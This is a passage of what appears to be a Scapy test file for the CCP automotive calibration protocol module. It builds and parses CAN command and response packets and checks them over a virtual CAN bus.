= Overwrite definition for vcan_socket systems native sockets ~ vcan_socket not_pypy needs_root linux if six.PY3 and LINUX: from scapy.contrib.cansocket_native import * new_can_socket = lambda iface: CANSocket(iface) new_can_socket0 = lambda: CANSocket(iface0) new_can_socket1 = lambda: CANSocket(iface1) = Overwrite definition for vcan_socket systems python-can sockets ~ vcan_socket needs_root linux if "python_can" in CANSocket.__module__: new_can_socket = lambda iface: CANSocket(bustype='socketcan', channel=iface, bitrate=250000, timeout=0.01) new_can_socket0 = lambda: CANSocket(bustype='socketcan', channel=iface0, bitrate=250000, timeout=0.01) new_can_socket1 = lambda: CANSocket(bustype='socketcan', channel=iface1, bitrate=250000, timeout=0.01) = Verify that a CAN socket can be created and closed s = new_can_socket(iface0) s.close() ############ ############ + Basic operations = Load module load_contrib("automotive.ccp", globals_dict=globals()) = Build CRO CONNECT cro = CCP(identifier=0x700)/CRO(ctr=1)/CONNECT(station_address=0x02) assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 1 assert cro.cmd == 1 assert cro.station_address == 0x02 assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x01\x01\x02\x00\xff\xff\xff\xff' = Dissect DTO CONNECT dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x01\xff\xff\xff\xff\xff') assert dto.answers(cro) assert dto.identifier == 0x700 assert dto.length == 8 assert dto.flags == 0 assert dto.ctr == 1 assert dto.load == b"\xff" * 5 = Build CRO EXCHANGE_ID cro = CCP(identifier=0x700)/CRO(ctr=18)/EXCHANGE_ID(ccp_master_device_id=b'abcdef') assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 18 assert cro.cmd == 0x17 assert cro.ccp_master_device_id == b"abcdef" assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x17\x12abcdef' = Dissect DTO EXCHANGE_ID dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x12\x04\x02\x03\x03\xff') assert dto.ctr == 18 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\x04\x02\x03\x03\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 18 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == False assert dto.slave_device_ID_length == 4 assert dto.data_type_qualifier == 2 assert dto.resource_availability_mask == 3 assert dto.resource_protection_mask == 3 assert dto.ccp_reserved == b"\xff" = Build CRO GET_SEED cro = CCP(identifier=0x711)/CRO(ctr=19)/GET_SEED(resource=2) assert cro.identifier == 0x711 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 19 assert cro.cmd == 0x12 assert cro.resource == 2 assert cro.ccp_reserved == b"\xff" * 5 assert bytes(cro) == b'\x00\x00\x07\x11\x08\x00\x00\x00\x12\x13\x02\xff\xff\xff\xff\xff' = Dissect DTO GET_SEED dto = CCP(b'\x00\x00\x07\x11\x08\x00\x00\x00\xff\x00\x13\x01\x14\x15\x16\x17') assert dto.ctr == 19 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\x01\x14\x15\x16\x17' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 19 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == False assert dto.protection_status == 0x1 assert dto.seed == b'\x14\x15\x16\x17' = Build CRO UNLOCK cro = CCP(identifier=0x711)/CRO(ctr=20)/UNLOCK(key=b"123456") assert cro.identifier == 0x711 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 20 assert cro.cmd == 0x13 assert cro.key == b"123456" assert bytes(cro) == b'\x00\x00\x07\x11\x08\x00\x00\x00\x13\x14123456' = Dissect DTO UNLOCK dto = CCP(b'\x00\x00\x07\x11\x08\x00\x00\x00\xff\x00\x14\x02\xff\xff\xff\xff') assert dto.ctr == 20 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\x02\xff\xff\xff\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 20 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == False assert dto.privilege_status == 0x2 assert dto.ccp_reserved == b"\xff" * 4 = Build CRO SET_MTA cro = CCP(identifier=0x711)/CRO(ctr=21)/SET_MTA(mta_num=0, address_extension=0x02, address=0x34002000) assert cro.identifier == 0x711 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 21 assert cro.cmd == 0x02 assert cro.mta_num == 0 assert cro.address_extension == 2 assert cro.address == 0x34002000 assert bytes(cro) == b'\x00\x00\x07\x11\x08\x00\x00\x00\x02\x15\x00\x02\x34\x00\x20\x00' = Dissect DTO SET_MTA dto = CCP(b'\x00\x00\x07\x11\x08\x00\x00\x00\xff\x00\x15\xff\xff\xff\xff\xff') assert dto.ctr == 21 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\xff\xff\xff\xff\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 21 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == True assert dto.load == b"\xff" * 5 = Build CRO DNLOAD cro = CCP(identifier=0x700)/CRO(ctr=17)/DNLOAD(size=0x05, data=b'abcde') assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 17 assert cro.cmd == 3 assert cro.size == 0x05 assert cro.data == b'abcde' assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x03\x11\x05abcde' = Dissect DTO DNLOAD dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x11\x02\x34\x00\x20\x05') assert dto.ctr == 17 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\x024\x00 \x05' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 17 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == False assert dto.MTA0_extension == 2 assert dto.MTA0_address == 0x34002005 = Build CRO DNLOAD_6 cro = CCP(identifier=0x700)/CRO(ctr=0x40)/DNLOAD_6(data=b'abcdef') assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x40 assert cro.cmd == 0x23 assert cro.data == b'abcdef' assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x23\x40abcdef' = Dissect DTO DNLOAD_6 dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x40\x02\x34\x00\x20\x06') assert dto.ctr == 64 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\x024\x00 \x06' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 64 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == False assert dto.MTA0_extension == 2 assert dto.MTA0_address == 0x34002006 = Build CRO UPLOAD cro = CCP(identifier=0x700)/CRO(ctr=0x41)/UPLOAD(size=4) assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x41 assert cro.cmd == 0x04 assert cro.size == 4 assert cro.ccp_reserved == b"\xff" * 5 assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x04\x41\x04\xff\xff\xff\xff\xff' = Dissect DTO UPLOAD dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x41\x10\x11\x12\x13\xff') assert dto.ctr == 65 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\x10\x11\x12\x13\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 65 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == False assert dto.data == b"\x10\x11\x12\x13\xff" = Build CRO SHORT_UP cro = CCP(identifier=0x700)/CRO(ctr=0x42)/SHORT_UP(size=4, address_extension=0, address=0x12345678) assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x42 assert cro.cmd == 0x0f assert cro.size == 4 assert cro.address == 0x12345678 assert cro.address_extension == 0 assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x0f\x42\x04\x00\x12\x34\x56\x78' = Dissect DTO SHORT_UP dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x42\x10\x11\x12\x13\xff') assert dto.ctr == 66 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\x10\x11\x12\x13\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 66 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == False assert dto.data == b"\x10\x11\x12\x13\xff" = Build CRO SELECT_CAL_PAGE cro = CCP(identifier=0x700)/CRO(ctr=0x43)/SELECT_CAL_PAGE() assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x43 assert cro.cmd == 0x11 assert cro.ccp_reserved == b"\xff" * 6 assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x11\x43\xff\xff\xff\xff\xff\xff' = Dissect DTO SELECT_CAL_PAGE dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x43\xff\xff\xff\xff\xff') assert dto.ctr == 67 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\xff\xff\xff\xff\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 67 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == True assert dto.load == b"\xff\xff\xff\xff\xff" = Build CRO GET_DAQ_SIZE cro = CCP(identifier=0x700)/CRO(ctr=0x44)/GET_DAQ_SIZE(DAQ_num=0x03, DTO_identifier=0x1020304) assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x44 assert cro.cmd == 0x14 assert cro.DAQ_num == 0x03 assert cro.ccp_reserved == 00 assert cro.DTO_identifier == 0x01020304 assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x14\x44\x03\x00\x01\x02\x03\x04' = Dissect DTO GET_DAQ_SIZE dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x44\x10\x08\xff\xff\xff') assert dto.ctr == 68 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\x10\x08\xff\xff\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 68 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == False assert dto.DAQ_list_size == 16 assert dto.first_pid == 8 assert dto.ccp_reserved == b"\xff\xff\xff" = Build CRO SET_DAQ_PTR cro = CCP(identifier=0x700)/CRO(ctr=0x45)/SET_DAQ_PTR(DAQ_num=3, ODT_num=5, ODT_element=2) assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x45 assert cro.cmd == 0x15 assert cro.DAQ_num == 0x03 assert cro.ODT_num == 5 assert cro.ODT_element == 2 assert cro.ccp_reserved == b"\xff\xff\xff" assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x15\x45\x03\x05\x02\xff\xff\xff' = Dissect DTO SET_DAQ_PTR dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x45\xff\xff\xff\xff\xff') assert dto.ctr == 69 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\xff\xff\xff\xff\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 69 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == True assert dto.load == b'\xff\xff\xff\xff\xff' = Build CRO WRITE_DAQ cro = CCP(identifier=0x700)/CRO(ctr=0x46)/WRITE_DAQ(DAQ_size=2, address_extension=1, address=0x2004200) assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x46 assert cro.cmd == 0x16 assert cro.DAQ_size == 0x02 assert cro.address_extension == 1 assert cro.address == 0x2004200 assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x16\x46\x02\x01\x02\x00\x42\x00' = Dissect DTO WRITE_DAQ dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x46\xff\xff\xff\xff\xff') assert dto.ctr == 70 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\xff\xff\xff\xff\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 70 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == True assert dto.load == b'\xff\xff\xff\xff\xff' = Build CRO START_STOP cro = CCP(identifier=0x700)/CRO(ctr=0x47)/START_STOP(mode=1, DAQ_num=3, ODT_num=7, event_channel=2, transmission_rate=1) assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x47 assert cro.cmd == 0x06 assert cro.mode == 0x01 assert cro.DAQ_num == 3 assert cro.event_channel == 2 assert cro.transmission_rate == 1 assert cro.ODT_num == 7 assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x06\x47\x01\x03\x07\x02\x00\x01' = Dissect DTO START_STOP dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x47\xff\xff\xff\xff\xff') assert dto.ctr == 71 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\xff\xff\xff\xff\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 71 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == True assert dto.load == b'\xff\xff\xff\xff\xff' = Build CRO DISCONNECT cro = CCP(identifier=0x700)/CRO(ctr=0x48)/DISCONNECT(type="temporary", station_address=0x208) assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x48 assert cro.cmd == 0x07 assert cro.type == 0x00 assert cro.station_address == 0x208 assert cro.ccp_reserved0 == b"\xff" assert cro.ccp_reserved == b"\xff" * 2 assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x07\x48\x00\xff\x08\x02\xff\xff' = Dissect DTO DISCONNECT dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x48\xff\xff\xff\xff\xff') assert dto.ctr == 72 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\xff\xff\xff\xff\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 72 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == True assert dto.load == b'\xff\xff\xff\xff\xff' = Build CRO SET_S_STATUS cro = CCP(identifier=0x700)/CRO(ctr=0x49)/SET_S_STATUS(session_status="RUN+CAL") assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x49 assert cro.cmd == 0x0c assert cro.session_status == 0x81 assert cro.ccp_reserved == b"\xff" * 5 assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x0c\x49\x81\xff\xff\xff\xff\xff' = Dissect DTO SET_S_STATUS dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x49\xff\xff\xff\xff\xff') assert dto.ctr == 73 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\xff\xff\xff\xff\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 73 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == True assert dto.load == b'\xff\xff\xff\xff\xff' = Build CRO GET_S_STATUS cro = CCP(identifier=0x700)/CRO(ctr=0x4a)/GET_S_STATUS() assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x4a assert cro.cmd == 0x0D assert cro.ccp_reserved == b"\xff" * 6 assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x0d\x4a\xff\xff\xff\xff\xff\xff' = Dissect DTO GET_S_STATUS dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x4a\x81\xff\xff\xff\xff') assert dto.ctr == 74 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\x81\xff\xff\xff\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 74 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == False assert dto.session_status == 0x81 assert dto.information_qualifier == 0xff assert dto.information == b"\xff" * 3 = Build CRO BUILD_CHKSUM cro = CCP(identifier=0x700)/CRO(ctr=0x50)/BUILD_CHKSUM(size=0x8000) assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x50 assert cro.cmd == 0x0e assert cro.size == 0x8000 assert cro.ccp_reserved == b"\xff" * 2 assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x0e\x50\x00\x00\x80\x00\xff\xff' = Dissect DTO BUILD_CHKSUM dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x50\x02\x12\x34\xff\xff') assert dto.ctr == 80 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\x02\x12\x34\xff\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 80 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == False assert dto.checksum_size == 2 assert dto.checksum_data == b'\x12\x34' assert dto.ccp_reserved == b'\xff\xff' = Dissect DTO BUILD_CHKSUM2 dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x50\x04\x12\x34\x56\x78') assert dto.ctr == 80 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\x04\x12\x34\x56\x78' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 80 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == False assert dto.checksum_size == 4 assert dto.checksum_data == b'\x12\x34\x56\x78' assert dto.ccp_reserved == b'' = Build CRO CLEAR_MEMORY cro = CCP(identifier=0x700)/CRO(ctr=0x51)/CLEAR_MEMORY(size=0x8000) assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x51 assert cro.cmd == 0x10 assert cro.size == 0x8000 assert cro.ccp_reserved == b"\xff" * 2 assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x10\x51\x00\x00\x80\x00\xff\xff' = Dissect DTO CLEAR_MEMORY dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x51\xff\xff\xff\xff\xff') assert dto.ctr == 81 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\xff\xff\xff\xff\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 81 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == True assert dto.load == b'\xff\xff\xff\xff\xff' = Build CRO PROGRAM cro = CCP(identifier=0x700)/CRO(ctr=0x52)/PROGRAM(size=0x3, data=b"\x10\x11\x12") assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x52 assert cro.cmd == 0x18 assert cro.size == 0x3 assert cro.data == b"\x10\x11\x12" assert cro.ccp_reserved == b"\xff" * 5 assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x18\x52\x03\x10\x11\x12\xff\xff' = Dissect DTO PROGRAM dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x52\x02\x34\x00\x20\x03') assert dto.ctr == 82 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\x02\x34\x00\x20\x03' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 82 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == False assert dto.MTA0_extension == 2 assert dto.MTA0_address == 0x34002003 = Build CRO PROGRAM_6 cro = CCP(identifier=0x700)/CRO(ctr=0x53)/PROGRAM_6(data=b"\x10\x11\x12\x10\x11\x12") assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x53 assert cro.cmd == 0x22 assert cro.data == b"\x10\x11\x12\x10\x11\x12" assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x22\x53\x10\x11\x12\x10\x11\x12' = Dissect DTO PROGRAM_6 dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x53\x02\x34\x00\x20\x06') assert dto.ctr == 83 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\x02\x34\x00\x20\x06' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 83 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == False assert dto.MTA0_extension == 2 assert dto.MTA0_address == 0x34002006 = Build CRO MOVE cro = CCP(identifier=0x700)/CRO(ctr=0x54)/MOVE(size=0x8000) assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x54 assert cro.cmd == 0x19 assert cro.size == 0x8000 assert cro.ccp_reserved == b'\xff\xff' assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x19\x54\x00\x00\x80\x00\xff\xff' = Dissect DTO MOVE dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x54\xff\xff\xff\xff\xff') assert dto.ctr == 84 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\xff\xff\xff\xff\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 84 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == True = Build CRO DIAG_SERVICE cro = CCP(identifier=0x700)/CRO(ctr=0x55)/DIAG_SERVICE(diag_service=0x8000) assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x55 assert cro.cmd == 0x20 assert cro.diag_service == 0x8000 assert cro.ccp_reserved == b'\xff\xff\xff\xff' assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x20\x55\x80\x00\xff\xff\xff\xff' = Dissect DTO DIAG_SERVICE dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x55\x20\x00\xff\xff\xff') assert dto.ctr == 85 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\x20\x00\xff\xff\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 85 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == False assert dto.data_length == 0x20 assert dto.data_type == 0x00 assert dto.ccp_reserved == b"\xff\xff\xff" = Build CRO ACTION_SERVICE cro = CCP(identifier=0x700)/CRO(ctr=0x56)/ACTION_SERVICE(action_service=0x8000) assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x56 assert cro.cmd == 0x21 assert cro.action_service == 0x8000 assert cro.ccp_reserved == b'\xff\xff\xff\xff' assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x21\x56\x80\x00\xff\xff\xff\xff' = Dissect DTO ACTION_SERVICE dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x56\x20\x00\xff\xff\xff') assert dto.ctr == 86 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\x20\x00\xff\xff\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 86 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == False assert dto.data_length == 0x20 assert dto.data_type == 0x00 assert dto.ccp_reserved == b"\xff\xff\xff" = Build CRO TEST cro = CCP(identifier=0x700)/CRO(ctr=0x60)/TEST(station_address=0x80) assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x60 assert cro.cmd == 0x05 assert cro.station_address == 0x80 assert cro.ccp_reserved == b"\xff" * 4 assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x05\x60\x80\x00\xff\xff\xff\xff' = Dissect DTO TEST dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x60\xff\xff\xff\xff\xff') assert dto.ctr == 96 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\xff\xff\xff\xff\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 96 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == True assert dto.load == b'\xff\xff\xff\xff\xff' = Build CRO START_STOP_ALL cro = CCP(identifier=0x700)/CRO(ctr=0x61)/START_STOP_ALL(type="start") assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x61 assert cro.cmd == 0x08 assert cro.type == 0x01 assert cro.ccp_reserved == b"\xff" * 5 assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x08\x61\x01\xff\xff\xff\xff\xff' = Dissect DTO START_STOP_ALL dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x61\xff\xff\xff\xff\xff') assert dto.ctr == 97 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\xff\xff\xff\xff\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 97 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == True assert dto.load == b'\xff\xff\xff\xff\xff' = Build CRO GET_ACTIVE_CAL_PAGE cro = CCP(identifier=0x700)/CRO(ctr=0x62)/GET_ACTIVE_CAL_PAGE() assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x62 assert cro.cmd == 0x09 assert cro.ccp_reserved == b"\xff" * 6 assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x09\x62\xff\xff\xff\xff\xff\xff' = Dissect DTO GET_ACTIVE_CAL_PAGE dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x62\x01\x11\x44\x77\x22') assert dto.ctr == 98 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\x01\x11\x44\x77\x22' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 98 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == False assert dto.address_extension == 1 assert dto.address == 0x11447722 = Build CRO GET_CCP_VERSION cro = CCP(identifier=0x700)/CRO(ctr=0x63)/GET_CCP_VERSION(main_protocol_version=2, release_version=1) assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x63 assert cro.cmd == 0x1b assert cro.main_protocol_version == 2 assert cro.release_version == 1 assert cro.ccp_reserved == b"\xff" * 4 assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x1b\x63\x02\x01\xff\xff\xff\xff' assert dto.hashret() != cro.hashret() assert not dto.answers(cro) = Dissect DTO GET_CCP_VERSION dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x63\x02\x01\xff\xff\xff') assert dto.ctr == 99 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\x02\x01\xff\xff\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 99 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == False assert dto.main_protocol_version == 2 assert dto.release_version == 1 assert dto.ccp_reserved == b"\xff" * 3 assert dto.hashret() == cro.hashret() + Tests on a virtual CAN-Bus = CAN Socket sr1 with dto.ansers(cro) == True with new_can_socket0() as sock1, new_can_socket0() as sock2: sock1.basecls = CCP started = threading.Event() def ecu(): pkts = sock2.sniff(count=1, timeout=1, started_callback=started.set) if len(pkts) == 1: cro = CRO(pkts[0].data) assert cro.cmd == 0x22 assert cro.data == b"\x10\x11\x12\x10\x11\x12" sock2.send(CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x53\x02\x34\x00\x20\x06')) thread = threading.Thread(target=ecu) thread.start() started.wait(timeout=5) dto = sock1.sr1(CCP(identifier=0x700)/CRO(ctr=0x53)/PROGRAM_6(data=b"\x10\x11\x12\x10\x11\x12"), timeout=1) thread.join(timeout=5) assert dto.ctr == 83 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == False assert dto.MTA0_extension == 2 assert dto.MTA0_address == 0x34002006 = CAN Socket sr1 with dto.ansers(cro) == False with new_can_socket0() as sock1, new_can_socket0() as sock2: sock1.basecls = CCP started = threading.Event() def ecu(): pkts = sock2.sniff(count=1, timeout=1, started_callback=started.set) if len(pkts) == 1: cro = CRO(pkts[0].data) assert cro.cmd == 0x22 assert cro.data == b"\x10\x11\x12\x10\x11\x12" sock2.send(CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x55\x02\x34\x00\x20\x06')) thread = threading.Thread(target=ecu) thread.start() started.wait(timeout=5) gotTimeout = False dto = sock1.sr1(CCP(identifier=0x700)/CRO(ctr=0x54)/PROGRAM_6(data=b"\x10\x11\x12\x10\x11\x12"), timeout=1) print(dto) if dto is None: gotTimeout = True assert gotTimeout thread.join(timeout=5) = CAN Socket sr1 with error code with new_can_socket0() as sock1, new_can_socket0() as sock2: sock1.basecls = CCP started = threading.Event() def ecu(): pkts = sock2.sniff(count=1, timeout=1, started_callback=started.set) if len(pkts) == 1: cro = CRO(pkts[0].data) assert cro.cmd == 0x22 assert cro.data == b"\x10\x11\x12\x10\x11\x12" sock2.send(CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x01\x55\xff\xff\xff\xff\xff')) thread = threading.Thread(target=ecu) thread.start() started.wait(timeout=5) dto = sock1.sr1(CCP(identifier=0x700)/CRO(ctr=0x55)/PROGRAM_6(data=b"\x10\x11\x12\x10\x11\x12"), timeout=1) thread.join(timeout=5) assert dto.ctr == 85 assert dto.packet_id == 0xff 